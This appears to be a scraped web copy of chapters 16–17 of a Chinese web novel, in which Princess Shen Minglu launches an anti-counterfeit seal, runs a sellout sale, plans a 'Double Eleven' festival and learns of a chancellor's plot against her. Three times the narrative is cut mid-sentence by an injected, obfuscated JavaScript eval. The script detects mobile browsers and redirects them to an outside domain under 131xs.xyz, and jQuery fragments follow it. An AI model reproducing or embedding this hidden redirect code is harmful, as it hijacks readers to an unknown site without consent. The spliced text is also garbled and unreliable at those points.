“托长公主的福,家父的病忽然又好了,哈哈。前日您提及那桩合作之事,不如咱俩再聊聊?” 沈鸣鹿本来也没想和他们撕破脸面,当即借坡下驴,笑吟吟地与他们把盏言欢,不过片刻便敲定了后续合作的细则。 “为防日后再生枝节,本宫思忖良久,决定推行一种全新的防伪印记。”她从侍女端来的托盘上取出一只匣子,从容向众人展开,“诸位请看。” 几位世家子弟过来一瞧,朱红色火漆印鉴,其上清晰标注着产地与编号,纹样繁复,工艺精湛。 在座的都是识货的人,一看就知道这印记非同寻常。单看这用料和工艺,就不是寻常匠人能仿制的。若是今后还有人想要以假乱真,那么成本必定大大上升。 沈鸣鹿朗声道:“从今往后,凡是本宫名下出品之物,皆会钤有此印,以便辨明真伪。” 众人纷纷捧场,马屁不绝:“长公主这印记,实在绝妙!” 沈鸣鹿却谦逊一笑,又向众人微微一礼:“多谢各位认可,但本宫知道仅靠标识,仍然难保万全。诸位都是京中商会翘楚,本宫愿邀请各位贤达共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235103|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同组成‘监察会’,监督后续生产、销售等环节,好叫那些心怀不轨的小人,再无可乘之机。” 众人一听,明白过来,恐怕这就是长公主杀鸡给掌柜们看的根本目的。 此举说是加强监管,实则是要叫大家和她绑在同一艘船上。 如此一来,日后再出现类似这样的假货风波,他们若是再想临阵脱逃,或是对长公主倒打一耙,可就没那么容易了。 沈鸣鹿见他们反应,红唇微扬,不紧不慢地又添了一把火:“诸位放心,我沈鸣鹿绝不是让各位白白出力的。但凡加入监察会的,日后经手的货品,我一律让利一成。” 本来还有些踟蹰犹豫的公子们,一听这话,眼睛却又是一亮。 这一成利,看着不多,但是凭借长公主这带货的本领,谁能不蠢蠢欲动? 若是真不图钱,想彻底划清界限,谁还会专门跑来公主府一趟? 沈鸣鹿趁热打铁,继续撒下诱饵:“三日后,本宫计划再召开一场‘感恩特卖会’,既是为了回馈客户,也是为了推出新的防伪印记。若是诸位也有兴趣参与——” 她眼波流转,狡黠一笑:“本宫倒不介意把‘太后联名’的范围再扩大些。让更多好物件,也能沾沾太后她老人家的福气。” 这一句话,可谓绝杀! 谁不知道,长公主做生意最大的王牌就是“皇家御用”这块招牌?凡是经过她手的东西,就像镀了层金似的,自带尊贵光环,京城里稍微宽裕些的人家都抢着要。 而这一次,她居然愿意把这个金字招牌拿出来共享! 和皇家扯上关系,这是多大的面子,又是多大的商机! 在场的世家子弟们听得心头直跳,已经按捺不住跃跃欲试的心情了。 他们摸摸鼻子,你看看我,我看看你,再看看姿态从容的沈鸣鹿,分明是早已料定众人反应,并做好了万全准备。 这份运筹帷幄的气度,让在场这些见惯了风浪的世家子们也不由得在心中暗暗称奇,再不敢因她年轻或是女子身份而有半分轻视。 长公主这条船,他们是不上也得上了。 他们最终还是只能端出笑容,纷纷应下:“长公主思虑周全,我等自然全力配合!” 16. 第 16 章 有了双倍赔偿的行动在前,现如今,沈鸣鹿的名声可谓是如日中天。 京城内外谁不知道,长公主一诺千金,说赔就赔,那可真是毫不含糊。 一些将信将疑,拿着假货礼盒去退款的人家,是实实在在地从伙计手里拿到了双倍的银钱! 那些老实男人,精明女人,拿着铜板数了又数,反反复复看着,直把眼睛都挤成了斗鸡眼,这才终于确信:钱,真的退回来了! 他们花出去的钱不仅没少,反而还多了! 他们买到了假货,不仅没白花冤枉钱,反而还赚了一笔,这可不是个稀奇! 男女老少啧啧称奇,这些拿到赔款的人家,更是喜不自禁:“长公主做生意,真是仁义厚道!” “可不是,以往哪有这样好的事情?谁不是买到次品假货,都只能吃个哑巴亏的。就算去报官也没用的,哪个官会站咱老百姓这头?” “从来没见着还有商家主动赔钱的!” 他们越说越兴奋,逐渐添油加醋,直把沈鸣鹿夸的天上有地上无:“长公主,莫非是观音菩萨下凡不成!” “那必定是活菩萨再世!” 那头正说得眉飞色舞,听众中间却有一位老者,白眉紧皱,担忧道:“可是咱们的长公主,本来并非是为了做生意,而是为北疆筹集善款。如此把钱都赔给了咱们老百姓,那北疆那头,可该怎么办呢?” 此话一出,磕牙闲聊的众人都是一静。 ——是啊,长公主可不是为了牟利才出来卖东西的。她做的桩桩件件,都是为了挽救北疆之难。 而且,她在御前和谢容与定下的三月之约,京城内外,谁人不知谁人不晓? 眼看着时间一天天过去,她非但没赚到钱,反被小人所害,傻乎乎地把钱都赔了出去,那她自己的赌约,可该怎么办! 他们好不容易遇上一位慈悲仁义的长公主,活脱脱一位肉身菩萨,难不成还要眼睁睁看着她嫁到北狄那种蛮荒之地去么! 更有虔信之人,心直口快,失声叫道:“哎呀!若是咱们大梁把活菩萨送给了北狄,那回头菩萨岂不是就只保佑北狄的老百姓,再不照顾咱们了!” 众人听了,顿时都是一身冷汗,嚷嚷道:“这怎么行!” 原先还为了赔偿款洋洋得意的人,急得一拍大腿:“哎呀这个长公主,做事情怎么如此实诚!” “可不能叫那些目光短浅的大官真把公主菩萨给送走了啊!咱们必须帮帮长公主!” “现在可还有别的筹集善款的法子么?” 一时之间,百姓们竟真心实意地为沈鸣鹿担忧起来,生怕她赚到的钱不够! 是以,当沈鸣鹿公布“感恩特卖会”的消息时,全城都沸腾了! “好!太好了,有了新的防伪标识,长公主就不怕再被小人陷害了!” “快快,给你小姑一家写信,叫她们也上京城转转,帮帮长公主!” “俺要叫俺娘家亲戚也来买!” 百姓们忙得不可开交,却又有自诩聪明又抠门的人,在一旁泼凉水:“长公主这分明是看韭菜长高了,好割一茬呢!” “等着瞧吧,这什么感恩特卖,说是回馈父老,实则……啧啧,肯定要给她那什么新防伪标识定个高价,叫你们这帮蠢货大出血!” 他们在一旁冷眼旁观,却在特卖会开张的第一天,就被打肿了脸。 会场中的百姓们大开眼界,惊呼:“好实惠的价格!简直比外头卖的还便宜!” 一位大娘急道:“哎呀!这傻孩子,怎么把价格还定得这样低!” 一位壮汉感动得泪眼汪汪:“说是回馈父老,真是一点都不含糊。长公主,果然是个言出必行的仁义人!” 物美价廉,又是长公主出品,岂还有不买的道理? 会场中掀起了前所未有的抢购浪潮! 那些说风凉话的人,则遭到了邻居们的轮番炮轰:“真是小人之心,去度君子之腹!” “狗眼看人低!” 那些人气得涨红了脸,活像被打了几十个巴掌。最后仍然灰溜溜地夹在人群之中,去特卖会里买了几样精巧物什。 不就是给长公主花钱吗,跟谁不会似的! 特卖会举行的第一天,交易额就冲到了一个不可思议的数字! 几十种商品几乎全部脱销,还有源源不断的百姓闻讯而来,抓着伙计询问:“几时能补货?特卖会开到什么时候?” 有钱花不出去,可真是急死人了! 伙计满脸堆笑,唯唯诺诺地应付一番,然后一溜烟跑回公主府,上气不接下气地把这个好消息报了上去。 “长公主,咱们特卖会的商品,一天不到,就全部卖完了!” 伙计描述着场上的盛况,手舞足蹈,滔滔不绝:“不仅是咱们库房里剩下的礼盒,还有几位东家寄售的联名商品,什么茶叶,绸缎的,也全都卖完了!” 紫苏听得震惊不已:“原定三日才能出清的货物,竟然一天不到就已经卖完了么!” “可不是!那些老字号的掌柜都乐坏了,还说,”伙计急急喘了口气,这才一气儿把话说完了,“说,想要求长公主施恩,再允许多给一些东西盖上防伪标识,一起拿来卖呢!” 特卖会上的东西,可都是得给沈鸣鹿抽润的! 这些生意场上的人精,若非看到巨大前景,否则怎会轻易叫旁人分了大笔利润去! 紫苏已刷刷地飞快拨起算盘来,粗略算了笔账,顿时喜上眉梢,蓦地转头看向沈鸣鹿:“公主!机不可失,我们可得趁热打铁!” 照着这样的速度,若是特卖会多开几天,将京城周边的百姓全都调动起来,他们少说又能赚上几万两银子了! 话音刚落,门外就传来侍女的通报:“长公主,几位掌柜已在门口求见了。” 紫苏与伙计对视一眼,眼里都是又惊又喜。伙计已机灵道:“长公主,那小的就先回去了,您有事再叫我!” 沈鸣鹿却抬手拦了下:“不急。” 她仍悠哉地揣着暖炉,对门口的侍女道:“请几位掌柜在正厅稍歇,等我们这边说完话,再请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235104|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们进来。” “是。” 紫苏见她如此冷静,头脑也稍微冷却,不由得有些忐忑:“公主,是有什么不妥么?” 沈鸣鹿却弯起眉眼:“商品畅销,怎么会不妥呢?只是,我还有一些想法需要印证。” 她对伙计道:“你是个机灵的,明日会上,你再帮我留意一下,看那些来特卖会买得多的百姓,都是什么出身,哪里人士。” ——做好消费者画像,后面铺货时,才更好对症下药。 她又细细交代:“若有其他小商户问起,且先将他们的商号姓名、主打产品一一记录下来,最好叫他们提供一份样品上来。还有,此事风头正盛,恐怕生乱,切记维护会场秩序,教大家有序排队,不要争抢……“ 伙计连连应着,拍着胸脯保证道:“长公主放心,我定会办的妥妥的!” 等伙计走后,沈鸣鹿才对紫苏道:“告诉那两个谢家的护卫,让他们把那几个叛徒盯紧些,看看他们去了哪里、又和什么人来往过。” 紫苏诧异:“公主是说,那几个从府中赶出去的下人?” 她秀眉紧锁,想到某个可能,脸色顿时一白:“莫非公主怀疑,他们和张丞相还有联系?是不是又要来坏我们的事?” 沈鸣鹿摆摆手:“我也只是有个猜测,防范于未然罢了。” 紫苏急道:“可是,既然如此,为什么公主却还要放他们出去?” 依她来看,长公主还是心慈手软了些,逮着这几个被张丞相收买的家伙,却仅仅只是打了一顿板子驱逐出府,实在太便宜那些小人了! 若是交到官府,按大梁律法处置,那几人即便不被打死,也要判处流放,岂能这样轻松! 沈鸣鹿意味深长道:“自然是为了放长线,钓大鱼了。” 紫苏有些不解其意。 沈鸣鹿却没有再继续解释,而是挥挥手:“好啦,只管去传话便是。顺便叫那几位掌柜进来吧。” 紫苏的脚步到了门边,却又顿住,迟疑回身,委婉提醒道:“公主,确认是要告诉那两个谢家子?” “自然。” “可是这样,岂不是就叫谢将军知道您的盘算了么?” 沈鸣鹿理所当然道:“当然要让他知道,不然这两个人留下来做什么的?” 紫苏瞠目结舌:“啊?可是……” 沈鸣鹿狡黠一笑:“本宫若是有什么思虑不周的地方,谢将军既然都知道了,还能不搭把手么?” 她现在可不会像以前那样傻了,什么事都要亲力亲为,岂不累死? 谢容与都把人送上门来了,岂有不用的道理? 结盟?那就做两件实事看看诚意! 她都把命令下的这样明白了,谢容与总不会还能装糊涂吧? 紫苏欲言又止,但看她胸有成竹,还是咽下了嘴边的话,答道:“……是,公主。” 紫苏一头雾水地走后,沈鸣鹿哼笑一声,躺回椅背上,自言自语道:“本宫的钱赚得这样容易,只怕某些人的眼睛,又要红得滴血咯。” 17. 第 17 章 “长公主这是吃一堑,长一智。”谢容与听完手下的汇报,忍俊不禁,“这一回,她是打算先发制人了。” 回回都能把生意做得这样声势浩大,口碑一次好胜一次,赚得盆满钵满,怎不叫其他人眼红呢? 与其放任他人作乱,不如引蛇出洞,先下手为强。 他心想,他们的大梁长公主,确实是个厉害姑娘。 侍卫斟酌着问:“那将军,我们……” “既然是长公主有命,怎敢不从呢?”谢容与微笑,“便听她吩咐行事,把那几个逐出去的家伙盯紧了。” 想了想,他又道:“再派几个人,扮作便衣,到那卖场上维持秩序。” 虽则沈鸣鹿这次提前跟官兵打好了招呼,但多几个人手总是好的。 侍卫领命而去:“是,将军。” 朱雀大街上,沈鸣鹿的特卖会正办得如火如荼,人潮汹涌。 这样热闹盛大的活动,的确招来了一些心怀不轨的人。 小偷扒手之流就不用说了,那些想要闹事讹钱的泼皮无赖也不在少数——既然长公主心善,那从她手里抠点钱出来,又有何不可? 然而,这些蠢蠢欲动的阴沟老鼠,在看到守卫森严的官兵阵容时,就腿肚子哆嗦,打起了退堂鼓。 “任何无故滋扰正常营商者,均以窃盗军需论处!” ——上一个拖欠军饷的人,已在谢将军的刀下身首异处了。 “若有偷盗、抢劫,一律视为占用军饷,即刻发往北疆戍边!” ——上一次在长公主戏台前闹事的几个泼皮,也从此在京城中失去了踪迹。 前车之鉴历历在目,许多人只得偃旗息鼓。 但仍有一些胆子肥的强盗,自诩本领高强,将这些警告置若罔闻,跑到特卖会出口,抄起别人的东西,转身就跑! 那人惊呼:“我的金钗!” 强盗正自鸣得意,在人群中横冲直撞,正要将东西传给自己同伙,却冷不丁背后挨了一击,险些吐血。 人群自发让出一条道来,却见几个城防营的官兵气势汹汹地摁住了强盗,又揪着他的头发抬起来,骂道:“敢在你天王老子眼皮子底下犯事,小命不要了!” 强盗灰头土脸,只得伏法。人群中却又有一个鬼鬼祟祟的扒手,趁着大家的注意力都在强盗身上,将手伸入了其他人的衣兜,准备顺手牵羊。 那双灵活的手指头摸到钱袋,悄悄将其拎出衣兜,正暗自窃喜,却冷不防却被人掐住了手腕。 扒手愕然抬起头,却见到身侧一位便衣侍卫对他似笑非笑:“这位兄台知法犯法,看来也有志于戍边报国?” 扒手被抓了个现行,吓得结结巴巴:“不,不……我没有……” 然而便衣却懒得听他解释,将他偷来的钱袋往苦主身上一抛,直接将他拎了出去:“一起带走!” 有了城防营和禁卫军的巡视,再加上谢容与明里暗里的支援,小小的特卖会守卫得堪称滴水不漏,秩序井然。 三天的时间里,尽管小有波澜,但是总体还算有惊无险,在军队的巡逻威慑之下,特卖会在热烈的呼声中轰轰烈烈地落幕了。 “哎,这样好的活动,怎么就结束了!” “俺还有好多想买的东西!” “长公主也是,怎么就不能多搞几天呢?真真叫咱们拿着钱,都花不出去!” 百姓们尝到了甜头,愈加意犹未尽。 那些听到消息,却没赶上的外地客商,则一个个捶胸顿足,悔恨不已。 “就差一天,就差一天啊!” “要不是大雪封路,咱们就赶上了!” “长公主这样好的活动,怎么就不能多开几天呢!” 不知道有多少人求爷爷告奶奶,只希望长公主能开恩,让这样的特卖会再多来几回。 沈鸣鹿自然也不会忽视这样的呼声。 或者说,她正在特意在大家兴致正高的时候收手的。 若是真把活动旷日持久的开下去,人们反而腻味。 就是要趁热度最高的时候停下,才能吊足胃口,教大家期待她的下一步棋! 沈鸣鹿摩拳擦掌,双眼发亮地看着伙计递上来的厚厚一沓名单,嘴里念念有词:“平台有了,合作商户有了,噱头有了,流量口碑都有了——万事俱备,只欠东风!” 她用力一拍桌子,大声宣告:“本宫要举办双十一!” 房间内一片寂静,半晌,紫苏才小心翼翼地询问:“公主,这‘双十一’是何物?” 沈鸣鹿回过神来,笑眯眯道:“自然是特卖会的升级版。” 她拍拍手中的名册,笑道:“本宫要让全京城的商户联合起来,在这里办一场空前绝后的购物大狂欢!” 说干就干,沈鸣鹿立即行动,下帖邀请各大知名商号与各地商会首领,前来一叙。 消息传出,行内人立即明白——长公主,这是又要有大动作了! 长公主府前门庭若市,车如流水马如龙,那些没有收到邀请函的小商户,也不甘示弱,想尽办法地找门路打听消息。 连门房都把红包收了个盆满钵满,整天笑得见牙不见眼:“好说好说,长公主说了,只要货物质量过关,又能拿出实惠价格,大伙儿都有机会!” 有特卖会的成功在前,在巨大利益蛋糕的诱惑下,各大商会几乎没有多做犹豫,敲定章程后,便纷纷响应。 “长公主愿意带咱们发财,咱们岂会不答应!” “有什么叫我们做的,尽管吩咐便是!” “只盼长公主以后能多想起我们才好!” 张丞相在家里等啊等,等啊等,非但没等到沈鸣鹿吃瘪,反而还眼睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241944|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁地看着她愈发如鱼得水,简直是一飞冲天! 特卖会的账目并不向大众公开,但是就看百姓们花钱如流水的架势,光是抽润,都不知道教沈鸣鹿赚了多少万银两! 这样下去,还怎么得了! 张丞相背着双手,在室内来回踱步,脸色阴沉:“这丫头片子,她就是故意的!” “说是举办活动,实则分明是借此机会,笼络人心,结党营私!” 指望靠沈鸣鹿赚钱的商家越来越多,它们身后的势力自然而然地也都站到了沈鸣鹿的那一边,形成了越来越庞大的利益团体。 如今,不论是针对单个商户的破坏行动,亦或是在名声上泼脏水,都已经再无法动摇沈鸣鹿的根基。 再这样下去,恐怕连原先支持沈鸣鹿和亲的那些官员,都要为重利倒戈,不肯放走这棵摇钱树了! 而到那个时候,早已和沈鸣鹿撕破脸的张丞相之流,处境则会变得极其尴尬。 人心背离,今后还如何在朝中立足? 张丞相心中发狠,长公主,不除不行! 夫人坐在一旁,手里绞着帕子,面上的笑容依然温婉:“老爷,不是不报,日子未到。咱们这段时间故意姑息着她,不就是为了如今的局面么?” 张丞相一愣,夫人继续循循善诱:“她如今胆子养肥了,还想做个全京城共同参与的盛会。” “这样大的会场,只要稍微出一丁点差池,便会酿成大祸。” “而她这个组织者,注定难辞其咎。” 张夫人笑着拉起丈夫的手:“今后,还有谁会信她呢?” 张丞相眼珠一转,顿悟了其中关窍,霎时间气定神闲。 他往黄梨木太师椅上一坐,再度恢复了一贯的胜券在握,哈哈大笑。 “不错,不错。”他抚掌笑道,“正是如此!” 他耷拉的双目中蓦地划过一抹精光:“是时候叫那丫头体会一下,什么叫做功亏一篑!” “长公主,注定会自取灭亡!” 当晚,沈鸣鹿就接到了侍卫报上来的消息。 “啧,还真被本宫给猜中了。”她展开纸条,秀眉一挑,然后啧啧称奇,“我说最近怎么这么顺利,原来是某些人憋着大招,想要一口气置本宫于死地啊。” 难得她过了几天安生日子,没人来找麻烦。果然反派静悄悄,必定在作妖。 侍卫低声问:“公主,是否要属下将那几人……全部处理了?” 他做了个抹脖子的手势。 沈鸣鹿瞥他一眼:“不急。” “把这消息,原封不动地告诉你家谢将军。”沈鸣鹿将纸条抛回去,笑眯眯道,“哦,对了,再加上一句话。” “——就说,本宫听闻此事,害怕得很,不知道如何是好。” “还望谢将军,不吝赐教。”